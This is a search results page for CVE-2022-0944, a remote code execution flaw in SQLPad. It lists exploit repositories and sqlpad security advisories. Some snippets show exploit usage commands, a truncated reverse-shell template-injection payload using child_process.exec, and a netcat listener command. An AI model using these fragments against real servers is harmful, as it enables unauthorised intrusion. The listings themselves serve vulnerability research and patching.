128 matches found
CVE-2022-0944
CVE-2022-0944 SQLPad - Inyección de plantillas Esta es una vulnerabilidad ciega, lo que significa que la salida se devuelve directamente en la respuesta. Exploit Usa el script con el siguiente comando: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin...
CVE-2022-0944
CVE-2022-0944 PoC PoC for RCE in SQLPad. This example spawns a reverse shell, but the payload can be modified to run any command available by changing the command in the 'exec' call within the payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...
CVE-2022-0944
CVE-2022-0944 A proof of concept exploit for SQLPad RCE CVE-2022-0944 Usage root@kitploit: usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username option...
sqlpad-rce-exploit-CVE-2022-0944
Exploit de RCE en SQLPad Este repositorio contiene un script de explotación para CVE-2022-0944 en SQLPad, una vulnerabilidad que permite la ejecución remota de código RCE a través del endpoint /api/test-connection. Resumen El script proporcionado exploit.py demuestra cómo explotar la vulnerabilid...
CVE-2022-0944_RCE_POC
CVE-2022-0944 针对 SQLPad RCE CVE-2022-0944 的概念验证利用，可在攻击者 PC 上实现带反弹 Shell 的远程代码执行（RCE）。 用法 root@kitploit: usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell 示例： root@kitploit: 触发利用 ./script.py...
SQLPad-RCE-Exploit-CVE-2022-0944
Cómo funciona: Este código PHP está diseñado para explotar una vulnerabilidad de Ejecución Remota de Código RCE en SQLPad , relacionada con CVE-2022-0944. Funciona inyectando código malicioso en la aplicación SQLPad, forzándola a ejecutar un comando del sistema que abre una reverse shell – una...
SQLPad-6.10.0-Exploit-CVE-2022-0944
SQLPad 6.10.0 漏洞利用 CVE-2022-0944 此 Bash 脚本利用 SQLPad 6.10.0 中的 RCE 漏洞，通过滥用 SQLPad 的 MySQL 数据库连接设置中的 host 和 database 字段，实现远程代码执行（RCE）。该漏洞利用 SQLPad 对 Node.js 中 childprocess 模块的不安全处理，执行任意命令，最终在攻击者机器上开启一个反向 shell。 前提条件 1. Netcat 监听器 ：确保在你的机器上使用 nc -lvnp 9001 启动了一个监听器。 2. 目标服务器访问权限 ：此漏洞利用假设你能够与易受攻击的...
GHSA-RGWJ-5XJ2-C3M3 vulnerabilities
Vulnerabilities for packages: sqlpad...
GHSA-6GMQ-8VP8-GCM6 vulnerabilities
Vulnerabilities for packages: sqlpad...
CVE-2026-83610 vulnerabilities
Vulnerabilities for packages: sqlpad...
GHSA-3F6P-5WW8-9RCR vulnerabilities
Vulnerabilities for packages: sqlpad, azurite...
GHSA-3F6P-5WW8-9RCR vulnerabilities
Vulnerabilities for packages: sqlpad...
GO-2024-2918 vulnerabilities
Vulnerabilities for packages: k8sgpt, rekor, spire-server, trivy, wal-g, chezmoi, hugo, velero, grafana-mimir, zarf, zot, secrets-store-csi-driver-provider-azure, policy-controller, falcoctl, argo-workflows, fluent-bit-plugin-loki, flux-image-reflector-controller, terragrunt, bank-vaults,...
CLEANSTART-2026-OX91928 Security fixes in sqlpad 7.5.7-r5
Package sqlpad version 7.5.7-r5 fixes 1 vulnerabilities: ghsa-r292-9mhp-454m...
CLEANSTART-2026-AG43501 Security fixes in sqlpad 7.5.7-r2
Package sqlpad version 7.5.7-r2 fixes 26 vulnerabilities: ghsa-2v35-w6hq-6mfw, ghsa-f6ww-3ggp-fr8h, ghsa-wh4c-j3r5-mjhp, ghsa-x6wf-f3px-wcqx, ghsa-j759-j44w-7fr8...
CLEANSTART-2026-VJ19248 Security fixes in sqlpad 7.5.7-r3
Package sqlpad version 7.5.7-r3 fixes 26 vulnerabilities: ghsa-2v35-w6hq-6mfw, ghsa-f6ww-3ggp-fr8h, ghsa-wh4c-j3r5-mjhp, ghsa-x6wf-f3px-wcqx, ghsa-j759-j44w-7fr8...
CLEANSTART-2026-PY70964 Security fixes in sqlpad 7.5.7-r4
Package sqlpad version 7.5.7-r4 fixes 2 vulnerabilities: ghsa-v422-hmwv-36x6, CVE-2026-12590...
GHSA-5P4M-2WFM-XMQJ vulnerabilities
Vulnerabilities for packages: unleash, pulumi, opensearch-dashboards-fips, kubeflow-katib, langfuse-fips, unleash-fips, vitess, eslint, gitlab-rails-ce-fips, opensearch-dashboards, redisinsight, authentik-fips, ts-patch, argo-workflows, mongod, prism, foxx-cli, langfuse, gitlab-rails-ce, awx, saf...